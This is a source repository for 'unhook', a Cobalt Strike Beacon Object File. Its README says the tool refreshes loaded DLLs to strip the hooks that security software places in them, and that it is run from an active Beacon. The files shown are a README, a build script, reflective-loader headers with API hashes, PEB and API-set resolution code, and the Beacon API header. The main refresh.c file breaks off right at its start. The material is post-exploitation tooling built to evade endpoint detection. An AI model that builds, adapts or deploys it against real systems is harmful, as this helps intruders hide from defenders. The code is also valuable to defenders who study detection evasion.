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LICENSE
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BSD 3-Clause License
Copyright (c) 2021, Raphael Mudge
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
* Neither the name of nor the names of its contributors may be used to
endorse or promote products derived from this software without specific
prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.
README
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This is a Beacon Object File to refresh DLLs and remove their hooks. The code is from Cylance's Universal Unhooking research:
https://blogs.blackberry.com/en/2017/02/universal-unhooking-blinding-security-software
To use:
Load unhook.cna into Cobalt Strike via Cobalt Strike -> Script Manager
Run 'unhook' from Beacon
To build:
x86: Open Visual Studio x86 Native Tools Command Prompt and type 'make'
x64: Open Visual Studio x64 Croos Tools Command Prompt and type 'make'
This project derived from:
Reflective DLL Injection
BSD 3-Clause License
Copyright (c) 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
https://github.com/stephenfewer/ReflectiveDLLInjection
ReflectiveDLLRefresher
BSD 3-Clause License
Copyright (c) 2017, Cylance Inc.
https://github.com/CylanceVulnResearch/ReflectiveDLLRefresher
Unhook Meterpreter Extension
BSD-3-Clause License
2006-2018, Rapid7, Inc.
https://github.com/rapid7/metasploit-payloads/commits/master/c/meterpreter/source/extensions/unhook
make.bat
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@echo off
set PLAT="x86"
IF "%Platform%"=="x64" set PLAT="x64"
cl.exe /GS- /nologo /Od /Oi /c /Isrc src\unhook.c /Founhook.%PLAT%.o
src/ReflectiveDLLInjection.h
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//===============================================================================================//
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
//===============================================================================================//
#pragma warning(disable: 4311)
#pragma warning(disable: 4312)
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
// we declare some common stuff in here...
#define DLL_METASPLOIT_ATTACH 4
#define DLL_METASPLOIT_DETACH 5
#define DLL_QUERY_HMODULE 6
#define DEREF( name )*(UINT_PTR *)(name)
#define DEREF_64( name )*(DWORD64 *)(name)
#define DEREF_32( name )*(DWORD *)(name)
#define DEREF_16( name )*(WORD *)(name)
#define DEREF_8( name )*(BYTE *)(name)
typedef ULONG_PTR (WINAPI * REFLECTIVELOADER)( VOID );
typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID );
#define DLLEXPORT __declspec( dllexport )
//===============================================================================================//
#endif
//===============================================================================================//
src/ReflectiveLoader.h
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//===============================================================================================//
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winsock2.h>
#include <intrin.h>
#include "ReflectiveDLLInjection.h"
// Enable this define to turn on locking of memory to prevent paging
#define ENABLE_STOPPAGING
#define EXITFUNC_SEH 0xEA320EFE
#define EXITFUNC_THREAD 0x0A2A1DE0
#define EXITFUNC_PROCESS 0x56A2B5F0
typedef HMODULE(WINAPI*LOADLIBRARYA)(LPCSTR);
typedef FARPROC(WINAPI*GETPROCADDRESS)(HMODULE,LPCSTR);
typedef LPVOID(WINAPI*VIRTUALALLOC)(LPVOID,SIZE_T,DWORD,DWORD);
typedef DWORD(NTAPI*NTFLUSHINSTRUCTIONCACHE)(HANDLE,PVOID,ULONG);
#define KERNEL32DLL_HASH 0x6A4ABC5B
#define NTDLLDLL_HASH 0x3CFA685D
#define LOADLIBRARYA_HASH 0xEC0E4E8E
#define GETPROCADDRESS_HASH 0x7C0DFCAA
#define VIRTUALALLOC_HASH 0x91AFCA54
#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
#ifdef ENABLE_STOPPAGING
typedef LPVOID(WINAPI*VIRTUALLOCK)(LPVOID,SIZE_T);
#define VIRTUALLOCK_HASH 0x0EF632F2
#endif
#define IMAGE_REL_BASED_ARM_MOV32A 5
#define IMAGE_REL_BASED_ARM_MOV32T 7
#define ARM_MOV_MASK (DWORD)(0xFBF08000)
#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00)
#define ARM_MOVW 0xF2400000
#define ARM_MOVT 0xF2C00000
#define HASH_KEY 13
//===============================================================================================//
#pragma intrinsic( _rotr )
__forceinline DWORD ror( DWORD d )
{
return _rotr( d, HASH_KEY );
}
__forceinline DWORD _hash( char * c )
{
register DWORD h = 0;
do
{
h = ror( h );
h += *c;
} while( *++c );
return h;
}
//===============================================================================================//
typedef struct _UNICODE_STR
{
USHORT Length;
USHORT MaximumLength;
PWSTR pBuffer;
} UNICODE_STR, *PUNICODE_STR;
// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
//__declspec( align(8) )
typedef struct _LDR_DATA_TABLE_ENTRY
{
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STR FullDllName;
UNICODE_STR BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
{
DWORD dwLength;
DWORD dwInitialized;
LPVOID lpSsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
LPVOID lpEntryInProgress;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
{
struct _PEB_FREE_BLOCK * pNext;
DWORD dwSize;
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
// struct _PEB is defined in Winternl.h but it is incomplete
// WinDbg> dt -v ntdll!_PEB
typedef struct __PEB // 65 elements, 0x210 bytes
{
BYTE bInheritedAddressSpace;
BYTE bReadImageFileExecOptions;
BYTE bBeingDebugged;
BYTE bSpareBool;
LPVOID lpMutant;
LPVOID lpImageBaseAddress;
PPEB_LDR_DATA pLdr;
LPVOID lpProcessParameters;
LPVOID lpSubSystemData;
LPVOID lpProcessHeap;
PRTL_CRITICAL_SECTION pFastPebLock;
LPVOID lpFastPebLockRoutine;
LPVOID lpFastPebUnlockRoutine;
DWORD dwEnvironmentUpdateCount;
LPVOID lpKernelCallbackTable;
DWORD dwSystemReserved;
DWORD dwAtlThunkSListPtr32;
PPEB_FREE_BLOCK pFreeList;
DWORD dwTlsExpansionCounter;
LPVOID lpTlsBitmap;
DWORD dwTlsBitmapBits[2];
LPVOID lpReadOnlySharedMemoryBase;
LPVOID lpReadOnlySharedMemoryHeap;
LPVOID lpReadOnlyStaticServerData;
LPVOID lpAnsiCodePageData;
LPVOID lpOemCodePageData;
LPVOID lpUnicodeCaseTableData;
DWORD dwNumberOfProcessors;
DWORD dwNtGlobalFlag;
LARGE_INTEGER liCriticalSectionTimeout;
DWORD dwHeapSegmentReserve;
DWORD dwHeapSegmentCommit;
DWORD dwHeapDeCommitTotalFreeThreshold;
DWORD dwHeapDeCommitFreeBlockThreshold;
DWORD dwNumberOfHeaps;
DWORD dwMaximumNumberOfHeaps;
LPVOID lpProcessHeaps;
LPVOID lpGdiSharedHandleTable;
LPVOID lpProcessStarterHelper;
DWORD dwGdiDCAttributeList;
LPVOID lpLoaderLock;
DWORD dwOSMajorVersion;
DWORD dwOSMinorVersion;
WORD wOSBuildNumber;
WORD wOSCSDVersion;
DWORD dwOSPlatformId;
DWORD dwImageSubsystem;
DWORD dwImageSubsystemMajorVersion;
DWORD dwImageSubsystemMinorVersion;
DWORD dwImageProcessAffinityMask;
DWORD dwGdiHandleBuffer[34];
LPVOID lpPostProcessInitRoutine;
LPVOID lpTlsExpansionBitmap;
DWORD dwTlsExpansionBitmapBits[32];
DWORD dwSessionId;
ULARGE_INTEGER liAppCompatFlags;
ULARGE_INTEGER liAppCompatFlagsUser;
LPVOID lppShimData;
LPVOID lpAppCompatInfo;
UNICODE_STR usCSDVersion;
LPVOID lpActivationContextData;
LPVOID lpProcessAssemblyStorageMap;
LPVOID lpSystemDefaultActivationContextData;
LPVOID lpSystemAssemblyStorageMap;
DWORD dwMinimumStackCommit;
} _PEB, * _PPEB;
typedef struct
{
WORD offset:12;
WORD type:4;
} IMAGE_RELOC, *PIMAGE_RELOC;
//===============================================================================================//
#endif
//===============================================================================================//
src/apisetmap.c
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/*************************************************************************************
* Author: Jeff Tang <jtang@cylance.com>
* Copyright (c) 2017 Cylance Inc. All rights reserved. *
* *
* Redistribution and use in source and binary forms, with or without modification, *
* are permitted provided that the following conditions are met: *
* *
* 1. Redistributions of source code must retain the above copyright notice, this *
* list of conditions and the following disclaimer. *
* *
* 2. Redistributions in binary form must reproduce the above copyright notice, *
* this list of conditions and the following disclaimer in the documentation and/or *
* other materials provided with the distribution. *
* *
* 3. Neither the name of the copyright holder nor the names of its contributors *
* may be used to endorse or promote products derived from this software without *
* specific prior written permission. *
* *
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND *
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED *
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE *
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR *
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES *
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; *
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON *
* ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT *
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS *
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. *
* *
*************************************************************************************/
#include "apisetmap.h"
#include "beacon.h"
#include "unhook.h"
_PPEB GetProcessEnvironmentBlock()
{
ULONG_PTR pPeb;
#ifdef _WIN64
pPeb = __readgsqword(0x60);
#else
#ifdef WIN_ARM
pPeb = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 );
#else _WIN32
pPeb = __readfsdword(0x30);
#endif
#endif
return (_PPEB)pPeb;
}
PLDR_DATA_TABLE_ENTRY GetInMemoryOrderModuleList()
{
return (PLDR_DATA_TABLE_ENTRY)GetProcessEnvironmentBlock()->pLdr->InMemoryOrderModuleList.Flink;
}
PWCHAR GetRedirectedName(const PWSTR wszImportingModule, const PWSTR wszVirtualModule, SIZE_T* stSize)
{
PAPI_SET_NAMESPACE_ARRAY_V2 pApiSetMap;
pApiSetMap = (PAPI_SET_NAMESPACE_ARRAY_V2)GetProcessEnvironmentBlock()->pFreeList;
*stSize = 0;
if (pApiSetMap->Version == 6)
return GetRedirectedName_V6(wszImportingModule, wszVirtualModule, stSize);
else if (pApiSetMap->Version == 4)
return GetRedirectedName_V4(wszImportingModule, wszVirtualModule, stSize);
else if (pApiSetMap->Version == 2)
return GetRedirectedName_V2(wszImportingModule, wszVirtualModule, stSize);
else
return NULL;
}
PWCHAR GetRedirectedName_V6(const PWSTR wszImportingModule, const PWSTR wszVirtualModule, SIZE_T* stSize)
{
PAPI_SET_NAMESPACE_ARRAY_V6 pApiSetMap;
PAPI_SET_NAMESPACE_ENTRY_V6 pApiEntry;
PAPI_SET_VALUE_ENTRY_V6 pApiValue;
PAPI_SET_VALUE_ENTRY_V6 pApiArray;
DWORD dwEntryCount;
LONG dwSetCount;
PWSTR wsEntry;
PWSTR wsName;
PWSTR wsValue;
pApiSetMap = (PAPI_SET_NAMESPACE_ARRAY_V6)GetProcessEnvironmentBlock()->pFreeList;
// Loop through each entry in the ApiSetMap to find the matching redirected module entry
for (dwEntryCount = 0; dwEntryCount < pApiSetMap->Count; dwEntryCount++)
{
pApiEntry = &pApiSetMap->Array[dwEntryCount];
wsEntry = (PWSTR)((PCHAR)pApiSetMap + pApiEntry->NameOffset);
// Skip this entry if it does not match
if (_wcsnicmp(wsEntry, wszVirtualModule, pApiEntry->NameLength / 2) != 0)
continue;
pApiArray = (PAPI_SET_VALUE_ENTRY_V6)((PCHAR)pApiSetMap + pApiEntry->DataOffset);
// Loop through each value entry from the end and find where the importing module matches the ``Name`` entry
// If the ``Name`` entry is empty, it is the default entry @ index = 0
for (dwSetCount = pApiEntry->Count-1; dwSetCount >= 0; dwSetCount--)
{
// pApiValue = (PAPI_SET_VALUE_ENTRY_V6)((PCHAR)pApiSetMap + pApiEntry->DataOffset + (dwSetCount * sizeof(API_SET_VALUE_ENTRY_V6)));
pApiValue = &pApiArray[dwSetCount];
wsName = (PWSTR)((PCHAR)pApiSetMap + pApiValue->NameOffset);
wsValue = (PWSTR)((PCHAR)pApiSetMap + pApiValue->ValueOffset);
if (pApiValue->NameLength == 0 || _wcsnicmp(wsName, wszImportingModule, pApiValue->NameLength / 2) == 0)
{
*stSize = pApiValue->ValueLength / 2;
return wsValue;
}
}
}
return NULL;
}
PWCHAR GetRedirectedName_V4(const PWSTR wszImportingModule, const PWSTR wszVirtualModule, SIZE_T* stSize)
{
PAPI_SET_NAMESPACE_ARRAY_V4 pApiSetMap;
PAPI_SET_NAMESPACE_ENTRY_V4 pApiEntry;
PAPI_SET_VALUE_ARRAY_V4 pApiArray;
PAPI_SET_VALUE_ENTRY_V4 pApiValue;
DWORD dwEntryCount;
LONG dwSetCount;
PWSTR wsEntry;
PWSTR wsName;
PWSTR wsValue;
PWSTR wszShortVirtualModule;
pApiSetMap = (PAPI_SET_NAMESPACE_ARRAY_V4)GetProcessEnvironmentBlock()->pFreeList;
wszShortVirtualModule = (PWSTR)((PWCHAR)wszVirtualModule + 4);
for (dwEntryCount = 0; dwEntryCount < pApiSetMap->Count; dwEntryCount++)
{
pApiEntry = &pApiSetMap->Array[dwEntryCount];
wsEntry = (PWSTR)((PCHAR)pApiSetMap + pApiEntry->NameOffset);
if (_wcsnicmp(wsEntry, wszShortVirtualModule, pApiEntry->NameLength / 2) != 0)
continue;
pApiArray = (PAPI_SET_VALUE_ARRAY_V4)((PCHAR)pApiSetMap + pApiEntry->DataOffset);
for (dwSetCount = pApiArray->Count-1; dwSetCount >= 0; dwSetCount--)
{
pApiValue = &pApiArray->Array[dwSetCount];
wsName = (PWSTR)((PCHAR)pApiSetMap + pApiValue->NameOffset);
wsValue = (PWSTR)((PCHAR)pApiSetMap + pApiValue->ValueOffset);
if (pApiValue->NameLength == 0 || _wcsnicmp(wsName, wszImportingModule, pApiValue->NameLength / 2) == 0)
{
*stSize = pApiValue->ValueLength / 2;
return wsValue;
}
}
}
return NULL;
}
PWCHAR GetRedirectedName_V2(const PWSTR wszImportingModule, const PWSTR wszVirtualModule, SIZE_T* stSize)
{
PAPI_SET_NAMESPACE_ARRAY_V2 pApiSetMap;
PAPI_SET_NAMESPACE_ENTRY_V2 pApiEntry;
PAPI_SET_VALUE_ARRAY_V2 pApiArray;
PAPI_SET_VALUE_ENTRY_V2 pApiValue;
DWORD dwEntryCount;
LONG dwSetCount;
PWSTR wsEntry;
PWSTR wsName;
PWSTR wsValue;
PWSTR wszShortVirtualModule;
pApiSetMap = (PAPI_SET_NAMESPACE_ARRAY_V2)GetProcessEnvironmentBlock()->pFreeList;
wszShortVirtualModule = (PWSTR)((PWCHAR)wszVirtualModule + 4);
for (dwEntryCount = 0; dwEntryCount < pApiSetMap->Count; dwEntryCount++)
{
pApiEntry = &pApiSetMap->Array[dwEntryCount];
wsEntry = (PWSTR)((PCHAR)pApiSetMap + pApiEntry->NameOffset);
if (_wcsnicmp(wsEntry, wszShortVirtualModule, pApiEntry->NameLength / 2) != 0)
continue;
pApiArray = (PAPI_SET_VALUE_ARRAY_V2)((PCHAR)pApiSetMap + pApiEntry->DataOffset);
for (dwSetCount = pApiArray->Count-1; dwSetCount >= 0; dwSetCount--)
{
pApiValue = &pApiArray->Array[dwSetCount];
wsName = (PWSTR)((PCHAR)pApiSetMap + pApiValue->NameOffset);
wsValue = (PWSTR)((PCHAR)pApiSetMap + pApiValue->ValueOffset);
if (pApiValue->NameLength == 0 || _wcsnicmp(wsName, wszImportingModule, pApiValue->NameLength / 2) == 0)
{
*stSize = pApiValue->ValueLength / 2;
return wsValue;
}
}
}
return NULL;
}
src/apisetmap.h
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/*************************************************************************************
* Author: Jeff Tang <jtang@cylance.com>
* Copyright (c) 2017 Cylance Inc. All rights reserved. *
* *
* Redistribution and use in source and binary forms, with or without modification, *
* are permitted provided that the following conditions are met: *
* *
* 1. Redistributions of source code must retain the above copyright notice, this *
* list of conditions and the following disclaimer. *
* *
* 2. Redistributions in binary form must reproduce the above copyright notice, *
* this list of conditions and the following disclaimer in the documentation and/or *
* other materials provided with the distribution. *
* *
* 3. Neither the name of the copyright holder nor the names of its contributors *
* may be used to endorse or promote products derived from this software without *
* specific prior written permission. *
* *
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND *
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED *
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE *
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR *
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES *
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; *
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON *
* ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT *
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS *
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. *
* *
*************************************************************************************/
#pragma once
#ifndef _APISETMAP_H_
#define _APISETMAP_H_
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include "ReflectiveLoader.h"
_PPEB GetProcessEnvironmentBlock();
PLDR_DATA_TABLE_ENTRY GetInMemoryOrderModuleList();
// Win 10
typedef struct _API_SET_VALUE_ENTRY_V6
{
ULONG Flags;
ULONG NameOffset;
ULONG NameLength;
ULONG ValueOffset;
ULONG ValueLength;
} API_SET_VALUE_ENTRY_V6, *PAPI_SET_VALUE_ENTRY_V6;
typedef struct _API_SET_NAMESPACE_HASH_ENTRY_V6
{
ULONG Hash;
ULONG Index;
} API_SET_NAMESPACE_HASH_ENTRY_V6, *PAPI_SET_NAMESPACE_HASH_ENTRY_V6;
typedef struct _API_SET_NAMESPACE_ENTRY_V6
{
ULONG Flags;
ULONG NameOffset;
ULONG Size;
ULONG NameLength;
ULONG DataOffset;
ULONG Count;
} API_SET_NAMESPACE_ENTRY_V6, *PAPI_SET_NAMESPACE_ENTRY_V6;
typedef struct _API_SET_NAMESPACE_ARRAY_V6
{
ULONG Version;
ULONG Size;
ULONG Flags;
ULONG Count;
ULONG DataOffset;
ULONG HashOffset;
ULONG Multiplier;
API_SET_NAMESPACE_ENTRY_V6 Array[ANYSIZE_ARRAY];
} API_SET_NAMESPACE_ARRAY_V6, *PAPI_SET_NAMESPACE_ARRAY_V6;
// Windows 8.1
typedef struct _API_SET_VALUE_ENTRY_V4
{
ULONG Flags;
ULONG NameOffset;
ULONG NameLength;
ULONG ValueOffset;
ULONG ValueLength;
} API_SET_VALUE_ENTRY_V4, *PAPI_SET_VALUE_ENTRY_V4;
typedef struct _API_SET_VALUE_ARRAY_V4
{
ULONG Flags;
ULONG Count;
API_SET_VALUE_ENTRY_V4 Array[ANYSIZE_ARRAY];
} API_SET_VALUE_ARRAY_V4, *PAPI_SET_VALUE_ARRAY_V4;
typedef struct _API_SET_NAMESPACE_ENTRY_V4
{
ULONG Flags;
ULONG NameOffset;
ULONG NameLength;
ULONG AliasOffset;
ULONG AliasLength;
ULONG DataOffset;
} API_SET_NAMESPACE_ENTRY_V4, *PAPI_SET_NAMESPACE_ENTRY_V4;
typedef struct _API_SET_NAMESPACE_ARRAY_V4
{
ULONG Version;
ULONG Size;
ULONG Flags;
ULONG Count;
API_SET_NAMESPACE_ENTRY_V4 Array[ANYSIZE_ARRAY];
} API_SET_NAMESPACE_ARRAY_V4, *PAPI_SET_NAMESPACE_ARRAY_V4;
// Windows 7/8
typedef struct _API_SET_VALUE_ENTRY_V2
{
ULONG NameOffset;
ULONG NameLength;
ULONG ValueOffset;
ULONG ValueLength;
} API_SET_VALUE_ENTRY_V2, *PAPI_SET_VALUE_ENTRY_V2;
typedef struct _API_SET_VALUE_ARRAY_V2
{
ULONG Count;
API_SET_VALUE_ENTRY_V2 Array[ANYSIZE_ARRAY];
} API_SET_VALUE_ARRAY_V2, *PAPI_SET_VALUE_ARRAY_V2;
typedef struct _API_SET_NAMESPACE_ENTRY_V2
{
ULONG NameOffset;
ULONG NameLength;
ULONG DataOffset;
} API_SET_NAMESPACE_ENTRY_V2, *PAPI_SET_NAMESPACE_ENTRY_V2;
typedef struct _API_SET_NAMESPACE_ARRAY_V2
{
ULONG Version;
ULONG Count;
API_SET_NAMESPACE_ENTRY_V2 Array[ANYSIZE_ARRAY];
} API_SET_NAMESPACE_ARRAY_V2, *PAPI_SET_NAMESPACE_ARRAY_V2;
PWCHAR GetRedirectedName(const PWSTR wszImportingModule, const PWSTR wszVirtualModule, SIZE_T* stSize);
PWCHAR GetRedirectedName_V6(const PWSTR wszImportingModule, const PWSTR wszVirtualModule, SIZE_T* stSize);
PWCHAR GetRedirectedName_V4(const PWSTR wszImportingModule, const PWSTR wszVirtualModule, SIZE_T* stSize);
PWCHAR GetRedirectedName_V2(const PWSTR wszImportingModule, const PWSTR wszVirtualModule, SIZE_T* stSize);
#endif // _APISETMAP_H_
src/beacon.h
Executable
+62
View File
@@ -0,0 +1,62 @@
/*
* Beacon Object Files (BOF)
* -------------------------
* A Beacon Object File is a light-weight post exploitation tool that runs
* with Beacon's inline-execute command.
*
* Cobalt Strike 4.1.
*/
#pragma once
/* data API */
typedef struct {
char * original; /* the original buffer [so we can free it] */
char * buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
int size; /* total size of this buffer */
} datap;
DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size);
DECLSPEC_IMPORT int BeaconDataInt(datap * parser);
DECLSPEC_IMPORT short BeaconDataShort(datap * parser);
DECLSPEC_IMPORT int BeaconDataLength(datap * parser);
DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size);
/* format API */
typedef struct {
char * original; /* the original buffer [so we can free it] */
char * buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
int size; /* total size of this buffer */
} formatp;
DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz);
DECLSPEC_IMPORT void BeaconFormatReset(formatp * format);
DECLSPEC_IMPORT void BeaconFormatFree(formatp * format);
DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len);
DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...);
DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size);
DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value);
/* Output Functions */
#define CALLBACK_OUTPUT 0x0
#define CALLBACK_OUTPUT_OEM 0x1e
#define CALLBACK_ERROR 0x0d
#define CALLBACK_OUTPUT_UTF8 0x20
DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...);
DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len);
/* Token Functions */
DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token);
DECLSPEC_IMPORT void BeaconRevertToken();
DECLSPEC_IMPORT BOOL BeaconIsAdmin();
/* Spawn+Inject Functions */
DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
/* Utility Functions */
DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max);
src/refresh.c
Executable
+516
View File
@@ -0,0 +1,516 @@
#include "refresh.h"
#include "apisetmap.h"
#include "ReflectiveLoader.h"
#include "unhook.h"
#include "beacon.h"
void RefreshPE(void * buffer)
{
HMODULE hModule;
PWSTR wszFullDllName;
PWSTR wszBaseDllName;
ULONG_PTR pDllBase;
